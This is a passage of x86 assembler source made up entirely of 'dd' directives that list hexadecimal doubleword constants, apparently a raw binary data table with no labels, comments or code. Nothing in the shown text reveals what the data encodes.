0D6B1764Fh, 0A4E24A19h dd 90664D84h, 0A4E34188h, 3609120Fh, 0E70BA0E4h, 1245C610h dd 44F534C0h, 405F70ACh, 1DE9B349h, 25F774CFh, 0A8002FA3h dd 6A90F49Ah, 70980CB2h, 2317EC00h, 0E2A6E078h, 77A80A33h dd 0B0D89Bh, 58CA7EC9h, 16F25080h, 41C8559h, 10EF2DF0h dd 748A80C0h, 94AB0091h, 0DCC63EC9h, 68039A27h, 2EB8CB36h dd 4ED380C5h, 0B95B072Ah, 80A586A1h, 0B528DEF9h, 6AEA1A0Fh dd 8342C07Bh, 9AC088Fh, 0E8537137h, 7E69C800h, 8B40F1F5h dd 201E08D6h, 52094CCFh, 36480006h, 765EDA22h, 3DBA094Bh dd 0EC62FB2Ah, 29919E63h, 651BC133h, 6AB1F8B8h, 93E63F09h dd 0E64A0EFh, 7701B9DDh, 124090D1h, 0CC32B8A4h, 29073EC8h dd 5F338218h, 0FCA0EE64h, 956F03DEh, 7A55F422h, 62ED4B98h dd 61758D00h, 90A40956h, 71960778h, 20A82DC6h, 2F2870Ch dd 0E775F978h, 0C004AA0Ch, 0A1AD04Fh, 19FE2F0Eh, 466B80D4h dd 0C0D05644h, 85BBB700h, 3E1CA590h, 70E10053h, 5C67ABF2h dd 0F00F144h, 0AC18A378h, 131155C8h, 15DAA925h, 0BA790887h dd 66000C0h, 0B858DFEBh, 0AD498228h, 0A7030430h, 0C903777h dd 7CBF5232h, 0E2743D72h, 833EDC48h, 6786193Dh, 51DD6F13h dd 5FA76800h, 7D79B0F9h, 7B8B87Bh, 0F5CF5791h, 0D2FB065h dd 0A31DF447h, 26837C15h, 0D00B19A6h, 3DFF1C0h, 7B4D8AB9h dd 0F3903A5Ch, 9163624Ch, 80944249h, 0FEF1035h, 9C556C92h dd 0BA803BBCh, 0A9F6D722h, 0F2C6457h, 990034F5h, 0AFBD3756h dd 9B7100ABh, 0F814F177h, 0C00316Bh, 63476AE1h, 0F21E2A0Dh dd 0A5F60080h, 0F91B62D7h, 8398464Eh, 0ED4154Ch, 8CA007BCh dd 0BA200Dh, 56D4316Ah, 0DC152D82h, 0F6007572h, 72431A9Ah dd 2C183BAAh, 84381B90h, 48EE3FEh, 0FBFC44Eh, 604E3D1Ch dd 72372E00h, 0CCA08D14h, 7601D0C0h, 515C1D2Dh, 0B2FC1B02h dd 0A2BB0AE2h, 12A94D16h, 8A470063h, 46435167h, 6030C900h dd 0BD4B26F4h, 0F5880E86h, 67C131DDh, 3044828Eh, 0B0222E30h dd 5898EDh, 13FDD117h, 0EB5D9A89h, 3C855Ch, 67580B4Eh dd 27ABC80h, 13732271h, 28685011h, 0B8888894h, 505C9C93h dd 0DF2C3DE0h, 9A00B049h, 45109E15h, 8CFC08h, 0B4E7ADB9h dd 0EEA17552h, 554AE601h, 0D0953FBCh, 7DB52D30h, 6BDD0010h dd 28F3BE36h, 8B0BB2A4h, 0DC050h, 0B33A6E4h, 959E0109h dd 0FE672612h, 0CD90884Ah, 0CCBF4294h, 90B030E3h, 810019E3h dd 26B80E96h, 17005EDh, 389CA821h, 206E36C5h, 81246A40h dd 0AF287C78h, 40003E78h, 0FAFDC2E8h, 0B06064h, 3562ECC3h dd 0E9390A9Dh, 4A33CF07h, 0BD40D191h, 5B955CDh, 0E23D716Ch dd 9FD18075h, 0FB1C89D0h, 358280D7h, 64D9A038h, 5FF00010h dd 7718D884h, 0CBB8C2EDh, 0AC73D400h, 8D520C29h, 4E8507D7h dd 2036E5BEh, 9091C8EDh, 0C92DF600h, 0AABDD482h, 5FF30199h dd 5E585C0Eh, 0C36E805Bh, 88FF5983h, 0A3F20063h, 0A41DEF52h dd 0B1001AE4h, 8BBC825Dh, 7C7F4651h, 0A32F0B23h, 4D00134Dh dd 0B03EA952h, 0D800617Bh, 4ABC33C9h, 82DFDAh, 6DC5DDDCh dd 0D9B7F727h, 0B254FB00h, 0ABF48ED2h, 0A1C8A0CBh, 967403C8h dd 0B124E659h, 0EB9D2790h, 2BE3F501h, 0FC522180h, 7C16834h dd 7125AB6Eh, 8F845944h, 9FB88016h, 7B24768Eh, 522C1C11h dd 7C65F00h, 2CBCA7Dh, 0BD9106D2h, 0F383C812h, 283A0310h dd 99AF930Bh, 0B991F901h, 706450E6h, 479C9625h, 5D9C3061h dd 3109EB88h, 200AE919h, 0C743DD0Ch, 0B5C20098h, 78021468h dd 0C6042C99h, 0AB4D7980h, 3F27CFC0h, 0C1242649h, 6E20030h dd 0CA5AA98Ch, 0E37110C0h, 0B15DBF3h, 0EDB38E79h, 0B8A28460h dd 9A29EF00h, 0B40C88Bh, 734B007Fh, 7CD0631h, 88303E76h dd 0C256C872h, 29C1003Dh, 0FD205B04h, 7E00B56Bh, 0B71F9BFEh dd 4B3875Eh, 4E1B2988h, 447480BAh, 2F01F1A8h, 7CBBFCD6h dd 1BE08F06h, 748B1CDAh, 5DA10014h, 0BA794BE5h, 78195Ch dd 81A01376h, 9F74094h, 5E5C6DA6h, 0FE3D3080h, 0F939DA73h dd 75C19FECh, 0FCD4CD80h, 251AC2FBh, 0D002171Ch, 0C058404Ah dd 1622FA01h, 0F6029443h, 757B3D8h, 44D88DD7h, 288BE0B9h dd 873FCBD4h, 0A5AA00D1h, 0C44C9D67h, 35720011h, 0B8F18DE6h dd 0B8B08E3Eh, 0F7031C16h, 614B98D0h, 50A50076h, 18A1640h dd 0CF006414h, 70C457BAh, 2EA178EFh, 9B02675h, 2C206F8Bh dd 0CE4BC1A0h, 1644331Ch, 0B400B028h, 725B8E11h, 78DB965h dd 0D5B3DC6Bh, 80910464h, 967C5505h, 3C458F3Ah, 424C003Bh dd 54FFB051h, 0B48E00B7h, 0DC190BF2h, 4800A4C4h, 0E7A89710h dd 76E398h, 95C758E4h, 32B47AF5h, 8E014D01h, 6784CB42h dd 3071430h, 47636E9Ah, 0DEA8FF9Fh, 8200622Ah, 0C8CAC37Fh dd 0AF2694h, 799C8A90h, 0E3FD66E7h, 74284260h, 39375758h dd 0BC802B97h, 0F3A7CD9Dh, 4060F6C4h, 3A5964B8h, 0AEFF0181h dd 0D4C9F2E9h, 9866F0CDh, 0D505B500h, 26594150h, 0F0B000Eh dd 2CEAEBC3h, 6502B4A4h, 0F8633864h, 8FAC4006h, 0FE4E1D2Dh dd 0C2CC00A1h, 0A5B7C33Ch, 17E34D00h, 0F89D3305h, 78197A63h dd 6F9051h, 0EE1E78C4h, 8DFD5EA4h, 0DEB82E00h, 0BF98E3AFh dd 3392006Dh, 0FE5ED03h, 1800E1F7h, 0BECA11CFh, 7E4E628h dd 0AC6CF619h, 0A2CE0DFh, 5A003D07h, 2A5347CEh, 0EA6213h dd 38F16FE2h, 17107457h, 0C089DF01h, 6A019666h, 2625807Eh dd 560FF74Ah, 405EE0EFh, 0B415115Dh, 0E30E0E9Ch, 0DC205774h dd 77832E3Fh, 0D78AF700h, 31CE159Bh, 0A18E00C0h, 0BC84C63Bh dd 0C2006ED0h, 3309D12h, 11BEF4h, 38DEAF61h, 0DF0627Ah dd 39C38A00h, 0E2C6504Bh dd 0CF820063h, 102E2C40h, 0A3001AF7h, 0A10F6133h, 7EC3EF31h dd 673A1DADh, 225940EEh, 3B4DBB5h, 301348h, 0E988EC81h dd 0F441B3h, 0BE89128Fh, 19662FDAh, 28086507h, 83C0A47Bh dd 7BA458Ch, 0A0645FD6h, 27FCD066h, 7716FEC4h, 100027Ah dd 492A0442h, 0F17101F8h, 62F463F5h, 779FD410h, 9ECA5612h dd 0E6544Eh, 247958A9h, 0D66100A6h, 0F0D13167h, 3A74E5C3h dd 366DEC0Fh, 0FC6B20CFh, 3A95FAC5h, 3BF4C7FEh, 9300A0C9h dd 68FFBDC4h, 91003AD3h, 8E36CF9Bh, 12B8D896h, 312F5DCh dd 86C1B42Ch, 0A4FA40D7h, 8E610D88h, 80829E18h, 1B39D6E8h dd 78C6FCCEh, 430FF8A0h, 2DA84160h, 0DE9AE7C5h, 0F9150130h dd 8017E561h, 1B76F308h, 12A232CAh, 4BC4CCh, 0FC01316h dd 3A1F0C3Fh, 430F519Fh, 0DA1A0087h, 2CCFCAE0h, 12819Eh dd 41A739AEh, 0CB0C99ADh, 69965BD7h, 0FFB70F8Fh, 612121C4h dd 5081598Ch, 0AD392A9Ch, 80A6733Ch, 61108D0Dh, 0A0E90E62h dd 7495D58h, 8A4E2C31h, 1F02605Bh, 0AC7DBBD3h, 463F6F0Fh dd 0A52A831Eh, 2008F0F0h, 560403F7h, 0B5103C7Ah, 64B77FC0h dd 3683D700h, 0E73F47F6h, 8DCE00C8h, 0C1E02DBCh, 30008196h dd 3E9F265h, 0EAA9AF15h, 854C0047h, 7F48013Bh, 3300AA09h dd 51E808F4h, 3900DEEh, 69DDF11Ah, 0EBC084FAh, 0D300A720h dd 0C304E216h, 76D23CB8h, 7E3F0026h, 892F3848h, 223E8009h dd 95EB0166h, 0F6CE4DBFh, 8E9483DEh, 715EB88Dh, 0A4C9501Ch dd 895F7A4h, 660098B0h, 2A55ED6h, 6B0051FEh, 170AA229h dd 37F418h, 7BCD82FAh, 2CC843A1h, 7A46C305h, 0C4003DE1h dd 0A5F28D6Bh, 918921Eh, 22E66CA1h, 4189ED80h, 8674D98Ch dd 0CA210860h, 1E75E665h, 0D83016D5h, 98BA6025h, 0A187460Ch dd 7001290Ah, 21C86097h, 8F329834h, 30938D80h, 691818E8h dd 0C419AB01h, 0C8F9ED3Dh, 5E08D018h, 0C4D91C73h, 0D8C0408Fh dd 603E65Eh, 6B85DC90h, 2A0CD024h, 0E8A4CC8Ch, 3E4D0086h dd 7C715779h, 0FA013D64h, 8F2FCB34h, 20E8DFCAh, 0C44F0081h dd 942BF258h, 5D0EAABCh, 0A0632EECh, 69B3491Ah, 7F9D1260h dd 91190310h, 0A397246Eh, 21A8D0A2h, 0F528E169h, 0A800B905h dd 5A221BF2h, 13C9A4h, 0DD85AC23h, 37F60679h, 8A0E092Eh dd 6393C40Eh, 0F05E3F78h, 0FE9EEFh, 5A3463C5h, 0CC670AC6h dd 0E6CE1F00h, 0B8C00E64h, 1E8E0784h, 81209456h, 6B12D115h dd 0E1CA2B00h, 5D9506h, 0F95B7983h, 12FBC105h, 0D8E5DD01h dd 10B6CF33h, 0B7E25D8h, 5782F7C3h, 0D09E0787h, 7A0180EAh dd 63497700h, 18CD4A98h, 1EC700C5h, 0F1684261h, 887E0E92h dd 2886240Ch, 52D1D0C0h, 0B0AE04BFh, 975922h, 0A2B86F0Bh dd 8A30C03Ch, 0DDBC9800h, 37B39EA1h, 0DA201D79h, 0E82E83A0h dd 53C0A2FBh, 0D3039230h, 21A1AE31h, 4228C6E5h, 0A4ED1106h dd 11D0EE11h, 0B221E74Dh, 23964E04h, 44D12A04h, 0BE48E1C4h dd 9097A84Fh, 3CB48AC6h, 2B8F8A10h, 14C22891h, 0C9ACD931h dd 0C411A776h, 839E122Bh, 28B5EA50h, 2228A229h, 0DA422C08h dd 77AF4911h, 3CB929C0h, 5C6F662Dh, 6800C6F6h, 0D4FC1A21h dd 0CB00BE1Dh, 9E34D6C8h, 97AE18h, 67F9944h, 4A245413h dd 8046A738h, 85B75DBCh, 225014h, 5F2EA4BBh, 1DFF60B9h dd 1F4C5100h, 0C9DEE7D7h, 0EA796061h, 0B37A8293h, 0DC04777Ah dd 546F39C6h, 0F1BBC7C0h, 0B1EE170Fh, 4FDF00CEh, 4998AB3h dd 8F8650Fh, 83D1C10Ah, 0ADC8261Bh, 47E10277h, 9C3FF7F5h dd 0A724D6E0h, 915FE600h, 948A42BBh, 3722009Bh, 233BCA4Dh dd 0C63F85BDh, 28B70E21h, 0F654402Ch, 170FB5A8h, 0CD56E7Ah dd 26681FA9h, 1DE5B01Dh, 87074943h, 0FFAE8027h, 89A2000Ah dd 82F8BD7Dh, 74002BA9h, 0A886AD7Bh, 60D7AE2Ch, 940A401Bh dd 9F004D10h, 0CEDFD588h, 3103436Fh, 0B520085Ah, 8A31F828h dd 78210C00h, 428EC3BFh, 0C0C8DE1Eh, 27B70B0h, 0A5006365h dd 56127CFh, 70FDA9Fh, 0D968DE93h, 3A80FEC9h, 896A0BAAh dd 0EE036104h, 0D8786A0h, 5A275930h, 3A710021h, 223E2F66h dd 5D00F88Dh, 0B53D0614h, 0ED0D08h, 0A97C494Fh, 72BB7696h dd 0B1B6DE00h, 14601B50h, 78E8000Eh, 7F9C8C2Eh, 270084BAh dd 1C64428Fh, 0C78ACBh, 0D07D1BB0h, 266A1789h, 87784A9h dd 7B4200F8h, 6BD5FECBh, 21EED0C8h, 8B7422F2h, 0F7ED7900h dd 0B5F916B7h, 0AC120363h, 0E509AB9h, 62180CB8h, 4956800h dd 0A82E96Ah, 5269003Ch, 15C70D9h, 0F4007B0Dh, 8A27BC4Ch dd 44481Bh, 0DB97B426h, 68ADEFF8h, 0F9BFEA00h, 38B0724h dd 0BB060A3Ch, 3C9C0ECAh, 3F05DE03h, 3D9038E8h, 9D0045A9h dd 1E9C994Ch, 3D826FC1h, 88802074h, 375762D3h, 7900D2DFh dd 149FBADDh, 7AE43101h, 718B3F4Dh, 8ED59680h, 0E5530A16h dd 3657A501h, 33786BF9h, 3725C0h, 623D2E87h, 53BB21EEh dd 97BD020Ch, 1AF5277h, 5EA3E62Fh, 47ABA990h, 1BB940ACh dd 3C48E978h, 6E8100AFh, 0EB75B892h, 6FC720Dh, 9FCF2638h dd 1902304Eh, 0C399B602h, 0EA2C4037h, 16278804h, 1EA2871Fh dd 6A7BFE40h, 13441121h, 0EBD165A8h, 0CCD93100h, 95027827h dd 0D00036F0h, 5B84B0A6h, 1E1D84Bh, 8C36414Ch, 30937262h dd 1400CCC2h, 0F6C9AF4h, 7A6A80h, 0EC5CC29Fh, 0D8CBBA42h dd 4EF26900h, 12DD4BC4h, 3B1AE694h, 8D81F029h, 7C93895Fh dd 0D01180D5h, 0ABF5EE45h, 8A49004Ch, 5161CFC1h, 0D40003B2h dd 582C7CE2h, 7B31AA34h, 129A00E3h, 0C695D5D8h, 5B00130Dh dd 0EB236E78h, 1C98228h, 9668B005h, 44F70EA9h, 0D7890084h dd 8F8C20E5h, 0FEF57B50h, 0BACC881Ch, 4119474Fh, 0D3AEDC9Fh dd 16D2CCh, 4DB0028Ah, 9B25EEDFh, 0A0D8DD00h, 0ECFF6D8Bh dd 0DB6600CFh, 1B19D1EDh, 0AA0062C3h, 503DD969h, 0B83E9Fh dd 2EFDC4A3h, 1D178ACCh, 0DB4DE500h, 7642B98h, 0D4A2002Fh dd 6FC72A81h, 0EE1433DFh, 0FC4DD1Ch, 0B232901Ah, 0D8C51841h dd 60C905ACh, 0FA4A60h, 0B0CEC93Ch, 65D427E0h, 18283360h dd 1980A43h, 2B901281h, 2205457Ch, 0B0F006B8h, 100AFEh dd 9EE9C375h, 14F11834h, 0D1B1DC00h, 0AB952AB8h, 1CC94853h dd 52CEC009h, 9FD0A4A0h, 3CE4D189h, 92F60209h, 88B880CBh dd 19203ECFh, 20829DC9h, 0DB4ED47Ah, 3F57B800h, 8C102B95h dd 6BF800FCh, 8F208056h, 2D188ECCh, 0BD68D80Ah, 1AE7034Bh dd 4EAB02D5h, 11DC5800h, 83E34CD6h, 1D749Ah, 613B2188h dd 13E0DA87h, 0D3E9940Ch, 0ADA863h, 732C12F6h, 8E52C42Ah dd 0CDB83F00h, 296B19BAh, 0DAE52C6Eh, 1C200018h, 696C6603h dd 9C3C9728h, 6DC9CA04h, 78804484h, 2D6149Eh, 37C6808h dd 40481EDFh, 0AA00E101h, 14777038h, 0C36976h, 34FAFD89h dd 0BE3A5B10h, 75908C00h, 73628A0Bh, 0DC0E00C5h, 0BBA61F0Ch dd 0E0A07766h, 6C1D6533h, 0E3403E89h, 0D8353B8Eh, 21240090h dd 0D5F4DC77h, 0EB1E201Eh, 46406215h, 0D62794EEh, 90C403E1h dd 0C24E7A5h, 5A080798h, 543BC00Eh, 1219A167h, 0B834D0BDh dd 3C9F0078h, 0FEF8F1B2h, 3D09F213h, 6889F9h, 19E9BFE4h dd 10710026h, 0F85CB998h, 6A00B275h, 9B5DFF7Ch, 729FD8h dd 0EBAD2D0h, 19CE01A9h, 88537E00h, 2E634203h, 0E85E24E2h dd 705C02E0h, 5861368Ah, 44986011h, 4E3D411Fh, 197068Eh dd 60B3B93Ch, 0CF9FD841h dd 2257ED8h, 1D816F46h, 1FE0DE85h, 8D012A70h, 0F65A2129h dd 0A3D5A9B8h, 9374C0h, 0CFBECC56h, 0BD1BAEBAh, 0AA6D4500h dd 4043953Ah, 8A5501EDh, 4C4876B7h, 0E807FF3Eh, 6828CD2Eh dd 0DE50B870h, 0FFD90689h, 30E2B678h, 170548h, 2075F73Dh dd 36B23Ah, 0A6C459F8h, 0B62583D7h, 14506E00h, 846CC64h dd 0B340082h, 47EFFC21h, 0C502E9C0h, 1D0A1A69h, 0C053C231h dd 26E40Dh, 277143CBh, 74C62F68h, 81511A00h, 0C9048B57h dd 7E150083h, 9502219Eh, 2400BB09h, 0BF723DFCh, 51B789h dd 19484FE2h, 0A3B37545h, 801C1B4Ch, 47A6D2C5h, 0CE0900DEh dd 0A9B14A1h, 5373BEB9h, 0FF5D8600h, 0CFB75F9h, 7294007Dh dd 1FA8F778h, 8B142F0Fh, 2C45EE0h, 0EA0E232Bh, 2DF460E1h dd 7BC900C8h, 57B438B1h, 0FA00C599h, 0ED542296h, 53676Dh dd 0BF0ADC30h, 7ACE2B45h, 39590703h, 0D1799629h, 0C450FC3Eh dd 91BC22CBh, 0E3948CECh, 45003B18h, 0D36A6D32h, 7AA280h dd 0E6B2EF56h, 0D779C728h, 2FF73400h, 3FDEAD99h, 664C1C88h dd 98684075h, 0D3D624F0h, 0EB36CA05h, 16C0BA07h, 0E46C6A78h dd 227CFCh, 799EDD84h, 3B2BB038h, 80548F3Eh, 0B2462C5Fh dd 2EA293h, 5F223D2h, 0ADF01327h, 118FE10Eh, 1890A05Ah dd 4839708Eh, 3C00F0A8h, 0BFAEE250h, 0CF07DA27h, 3571060Fh dd 64AB2130h, 0D929C7B2h, 0DCA9E0F4h, 0A9CE9753h, 5E152047h dd 0FD2FC0B7h, 6E432880h, 0D938E193h, 857FAA75h, 8100DC90h dd 3F9CAF17h, 0C3D05Ch, 13308DF5h, 0BD703651h, 2B49AE00h dd 0D4BAD141h, 485C989Eh, 2904AFC7h, 0C0886C42h, 0C073DA3Ch dd 3FACBA00h, 0EC4D5DBCh, 3A84A0D1h, 609000E6h, 5EE1B613h dd 12EE1073h, 7D6FE8FDh, 71AF2900h, 33D4424Bh, 0FB7A13h dd 0EF618C1Eh, 6C7090A4h, 529FA802h, 4987FFB3h, 0D0800B20h dd 0ABFBC1CAh, 6800AF0Dh, 0D4981DDAh, 182479B4h, 1C02F615h dd 3C07874Dh, 1F2A3F90h, 0DAE78B20h, 59B902E4h, 0A1D97609h dd 2088C0C1h, 2A00AB14h, 37B701Ch, 0A90245h, 21E5B94Eh dd 0E7EE397Dh, 23223F00h, 0CF9097Ch, 0A4D000A3h, 3EE8C250h dd 4102ED35h, 0C8B58E54h, 8426E0EEh, 347612FBh, 0AC1CC0C3h dd 349828CBh, 0D464B40Fh, 0B6EA186h, 20802C89h, 0EEF98123h dd 0BD0080C1h, 11866C1Eh, 6AE955h, 5A1FCA47h, 3515BF3h dd 0AC98DBB8h, 0E0FE5600h, 7FAB2098h, 8F53007Bh, 378A2D85h dd 0A50212A7h, 0A161DC39h, 88F8807Eh, 7F2E893h, 3F0411D6h dd 914FA00Ch, 7300E958h, 0A2692652h, 0CB4055h, 0B0C25310h dd 32801EB7h, 0B500727Ah, 0C99B8A27h, 34A6C5h, 1B7B58E2h dd 3F6BEB2Dh, 87A77900h, 8EBC810Bh, 894A0038h, 5E83F38Ah dd 6800BF84h, 2ABD69BBh, 73CC1DC5h, 419F0919h, 888FF1EFh dd 62500961h, 0CC396121h, 480303ECh, 0AF6C6EADh, 0C6A2801Eh dd 84A30BD9h, 0C40027CFh, 0CC925BB3h, 47E58C00h, 0B99DFFFEh dd 0F0EE045Dh, 0B0CBFBEBh, 1CB0D2D8h, 0FA9B9400h, 809FCA7Dh dd 2FFB0CE7h, 0BC8A3205h, 8F388D60h, 4EB9507h, 0C1A63B6Ch dd 59D48246h, 0F4822C63h, 4D77AC40h, 80FD5E3Ah, 451D3A64h dd 5CEF54h, 0BE109F7Fh, 5E70CD34h, 0F68CF5Ch, 3FCEFA73h dd 5D6400FEh, 0CC23D596h, 76BE181Bh, 700B34F6h, 0BF3F39h dd 387EE2FEh, 2CA005A1h, 83444A91h, 8BB9BD83h, 755B8588h dd 0D20E5570h, 0E7C01A60h, 2100061Bh, 4B12Ch, 0ADC272D6h dd 0B20EE92Dh, 51918200h, 0A1B8399Eh, 40C2DE4Fh, 0C63F258Bh dd 343DD56Fh, 0E1848F13h, 5D096075h, 90AB69B1h, 3AA9012Dh dd 8CE2A6D8h, 890460DDh, 5D03CAE4h, 3501426Fh, 9901F773h dd 40304DD1h, 0ACE14837h, 9627513h, 0F8A0639Ah, 1FF998D0h dd 9A2FEF00h, 25DC31B1h, 21D500D2h, 0D1EDC841h, 9E0057ACh dd 22BED836h, 0EF69764h, 6B7C4A28h, 0E52D7120h, 0D5000363h dd 0FE2B2CFCh, 90CC049h, 0AA77632h, 0BDB1C80h, 245CB3C8h dd 8921FA00h, 1B91CA4h, 0CC6AB138h, 603824DAh, 2F49A700h dd 28988556h, 0A42E4Ch, 0C99AFBD0h, 60F18EDAh, 0D3C0C859h dd 0D200A3DEh, 9A9722ACh, 1D49CFA8h, 90B43477h, 0BB0A0027h dd 2AF43042h, 9CFC4C18h, 70041876h, 0E792061h, 2C0018B1h dd 220D9AA7h, 92B21ED4h, 26C4270h, 0E050E143h, 0BFF7CC02h dd 0E03937A5h, 0B720C7h, 2168B02Bh, 0AE14401Dh, 8501AFE6h dd 2972A0B3h, 2887F6CEh, 0D6A71AD1h, 990F2A98h, 0CB9430DDh dd 0D5F900B1h, 40CE71h, 0E57015D4h, 6E10936Ah, 452FAB00h dd 0A667FA5Bh, 89EF03ADh, 870C8A2Eh, 0B7201D8h, 50696A2Ch dd 1A6E8600h, 2C04Eh, 7E39F444h, 4E77FF9h, 52CDAA00h, 0F3A69175h dd 8423E722h, 8034931Dh, 827E14B8h, 0D100E929h, 0DF6510EDh dd 4A9694Fh, 26683AE0h, 1D90807Ch, 37003E59h, 0EE410EB2h dd 0F811E82Eh, 4DE7007Eh, 0B62CD59Ah, 46008AFFh, 0FEB43A03h dd 3AF955E4h, 80CD21ACh, 68EA0273h, 2D7F7116h, 0FA2E9048h dd 3BE0AD58h, 1DC08011h, 6527F2AFh, 9026004Eh, 0CA032A76h dd 0EE0E228Bh, 3418E9FAh, 7F5300CCh, 0BBBA05ECh, 941E245Bh dd 0C07A1D63h, 0F571474Eh, 0AF011FA1h, 97AE11E6h, 7424A6C1h dd 0FB1D37D8h, 0C0068478h, 401211A4h, 0B03FDD00h, 0F6C4CC7Ah dd 9E20C0C6h, 7055E7C5h, 0E8DF9C01h, 7B8EAE2Dh, 17CA4ADCh dd 90BE934h, 78D0B978h, 0D1FAA600h, 3F8F1C01h, 0CD6B00B4h dd 0DC9830E8h, 9E129F9Bh, 0E000DE16h, 2BB22609h, 0A56F00C7h dd 973A8969h, 0FB264B96h, 8100A356h, 83110714h, 0C33E0277h dd 78B6D6EEh, 0F08A86E0h, 3A5C25h, 17AEA1A8h, 0F9A23F15h dd 589C680h, 0E23CE1B4h, 1294B548h, 0ECC0276Ch, 941AC9h dd 5B845CD5h, 0BC9533D7h, 276ED301h, 42042B8Eh, 2C79A424h dd 80CC0F1Ch, 0E46D4D06h, 0D0968F2Eh, 1F938201h, 4F00456Ah dd 0B9F41E7Bh, 8B1BA900h, 99E74E69h, 2265CC3h, 356A0F00h dd 93B61694h, 0FD5D0400h, 0C0E0BFF8h, 2BAD0389h, 9BAA7B43h dd 8873FCC8h, 0AB729100h, 505F5C1Ah, 2612E635h, 0A8690Bh dd 0EA214314h, 9E090857h, 809C7523h, 3AB78168h, 8733400Bh dd 56D23700h, 59166E4Dh, 47AC0E04h, 33C0F4E9h, 658ED0C5h dd 0C1218614h, 7E1880E4h, 0F4D174h, 24735662h, 4582800Dh dd 5901E9E8h, 4F8A5475h, 0A428E096h, 42176583h, 0E330B1E7h dd 3CE0EE1Dh, 0C008413h, 74050B7Eh, 40A5E7h, 23542B93h dd 89D06E53h, 98C8B03Fh, 0D24026FFh, 0AE0C0282h, 0D91F7F64h dd 0D021A580h, 0EB715381h, 9463Dh, 0A902E88h, 569AE6Eh dd 39775D8Ah, 6FD408BFh, 0A8F41F01h, 4430F9CAh, 0DA9907CBh dd 602BDECCh, 0BAD8D85h, 2FFD1603h, 0FAA94CA3h, 0BDB080A2h dd 761FC532h, 0E4D01CFAh, 0A795408Fh, 407D47BAh, 0E1F448h dd 83AE2102h, 0C071F7EBh, 6E090D78h, 0B1EEE207h, 0DB9EFE00h dd 94E9AF81h, 56A007Dh, 354FA65Fh, 2A007357h, 45D45EE4h dd 113C69h, 4C8A8B94h, 86B81A48h, 0A6EF433Ah, 0BE001054h dd 0CA4DA82Ah, 179F014Eh, 0DC1159Ah, 0C3A0604Ch, 341C5Ch dd 0A1602729h, 6EE8Fh, 9F9E2EF1h, 5C5AF218h, 7D6BCB00h dd 0D858DFECh, 79B7144Eh, 2B07E421h, 0E699423Bh, 0E10FE0D1h dd 0F4BD76Ch, 0C047C1A8h, 0B8CB7860h, 3AA1735h, 0D48A7698h dd 0E6B854C3h, 8B00EFC4h, 2F6423Fh, 90F73694h, 1538261Ch dd 181742h dd 9F36FC0h, 5C0ACE11h, 0DC0D191Ch, 20A34940h, 0F4EF0087h dd 6268943Dh, 0A025A632h, 2D7C0Dh, 378A4951h, 447E0AD1h dd 9E89BF01h, 0A91045ABh, 58A7D420h, 0F03D966Ch, 56D6979Dh dd 0EB0C0F1h, 47F4F343h, 803AC839h, 46BFA57Eh, 0E83BEFh dd 9CF7AB0Bh, 21419619h, 29D5A801h, 0EC2BBD6Bh, 1CDC1C21h dd 42625B04h, 9283974Ch, 2AA602E0h, 550CCE03h, 0E2E3AA0Fh dd 26062B3h, 4811E4FBh, 0C015D80h, 42A124D7h, 14135E10h dd 2880410Dh, 3EBA9D4Fh, 98028F4Ch, 57B9CA17h, 0ED3B2940h dd 13F52D3Bh, 4040A0D3h, 107A41FBh, 3C1D0206h, 4A36EE9Eh dd 5505A4D0h, 78E34309h, 24D030F4h, 1B05C57h, 2D13D1F4h dd 0E06CD9h, 0F84E6360h, 18C359C9h, 603EB58Eh, 715D958Ah dd 53858250h, 67B06830h, 33C10FA0h, 0F3C1CBD0h, 0E89C8B91h dd 0DE00DBECh, 0EA93275Eh, 0CB0B8Dh, 0F2FF8FA7h, 11BD576Fh dd 3AEF9104h, 94C1682Eh, 5B705D14h, 0DF58C028h, 9008B90Eh dd 7F7C3B0Fh, 885C8078h, 3CB246CCh, 4A804DCBh, 16F5AB8Ah dd 28305ED3h, 7114C873h, 0AC350038h, 79E5B033h, 470E62F9h dd 2529AA39h, 5C90C381h, 25D0F2h, 2106BBC6h, 63EEB762h dd 0B1DC20F9h, 34825500h, 0E2E51D76h, 35270092h, 71F022D1h dd 1800D93Eh, 234EF37Ah, 80657h, 0A2A1E862h, 5CF5C5D0h dd 4030F00h, 96DAFCAEh, 0D86E5023h, 56BA1F90h, 0C608C0D9h dd 3EFDA1D6h, 6BCA580Bh, 0DCEB0093h, 43C536h, 0B5392EB7h dd 6784D947h, 4CFFC700h, 1EB10F6Fh, 13B9002Ah, 2FEDCD50h dd 2400AE43h, 0D95A80E9h, 0B116454h, 89A22701h, 2923BCC4h dd 0FE2408D7h, 28005F11h, 3BCD625h, 0C752FDDh, 0D4FF5102h dd 58A74465h, 6AA900F8h, 0A614D8EFh, 0C7044092h, 0F72DEEEh dd 61F2E880h, 0A1330031h, 0C290E18Eh, 0CA001003h, 85F52035h dd 9D18818h, 14B4D669h, 22EFEC80h, 8C920C3Eh, 9FE20A1Eh dd 0CD388D00h, 342D70h, 2B546867h, 0EBD9C379h, 0F026600h dd 5832C14Dh, 0D8C002Eh, 20D1EECAh, 1A1452B6h, 0F8F5AFh dd 2921B122h, 1CC6FCBh, 30BB8138h, 385B8CEDh, 0B6FE0F2Ch dd 159807C8h, 26848E41h, 979060h, 5D46CA07h, 8B09E67Eh dd 19D7BC12h, 0B503F603h, 0BEF2B020h, 0B9B100B0h, 0ABFC3F5Bh dd 8600C44Eh, 20A6B2C6h, 0EC655DB5h, 7ABD09D2h, 51807308h dd 25507E3Fh, 17B7CD00h, 0FFC4383Ah, 6EBA1C28h, 0D3BE4080h dd 1DC9DD1Ch, 89EA001h, 0E4BDE05Dh, 953630h, 0B053E24Fh dd 54D3FE7Fh, 309AFE6h, 240CA770h, 4CD8450Ch, 189005E3h dd 0D042E70Ah, 0EE434748h, 80266938h, 18948341h, 0D0A306h dd 176EF852h, 0EA9F11FDh, 0CC0330BCh, 8AE845F2h, 3B3CC051h dd 91A20461h, 0A17830EEh, 1D55E0E8h, 11204A60h, 6C85D1Ch dd 393CA8A0h, 38901908h, 0E0528000h, 322AF2E1h, 0B4713954h dd 2BE73380h, 7F1CFD1Bh, 99868B00h, 9CEFA62Ah, 333F0041h dd 966AAE3Eh, 77002935h, 0A17A3210h, 0F8E3818h, 0FBE2ED6Fh dd 33E48000h, 750F7E50h, 5E8430ADh, 0FF4D7CC2h, 0D036404Bh dd 0FB821CF2h, 4E80FC94h, 2C87EE1Ah, 0A40027F4h, 485119E6h dd 4D18682Fh, 1703B0C2h, 49E18FB6h, 0A5302Dh, 68A9E0FCh dd 2B2E00C0h, 53D8767Ah, 